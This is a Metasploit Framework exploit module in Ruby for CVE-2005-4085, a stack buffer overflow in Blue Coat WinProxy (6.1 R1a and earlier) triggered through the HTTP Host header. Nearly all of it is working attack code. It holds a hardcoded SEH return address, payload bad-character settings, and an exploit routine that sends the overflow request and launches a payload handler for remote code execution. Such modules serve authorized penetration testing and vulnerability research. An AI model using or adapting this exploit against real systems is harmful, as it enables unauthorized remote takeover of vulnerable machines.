84 lines
1.9 KiB
Ruby
84 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Blue Coat WinProxy Host Header Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the Blue Coat Systems WinProxy
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service by sending a long port value for the Host header in a HTTP
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request.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2005-4085'],
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['OSVDB', '22238'],
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['BID', '16147'],
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['URL', 'http://www.bluecoat.com/support/knowledge/advisory_host_header_stack_overflow.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
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],
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'Privileged' => true,
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'DisclosureDate' => 'January 5 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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sploit = "GET / HTTP/1.1" + "\r\n"
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sploit += "Host: 127.0.0.1:"
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sploit += rand_text_english(31, payload_badchars)
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seh = generate_seh_payload(target.ret)
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sploit[23, seh.length] = seh
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sploit += "\r\n\r\n"
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sock.put(sploit)
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sock.get_once(-1, 3)
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handler
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disconnect
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end
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end
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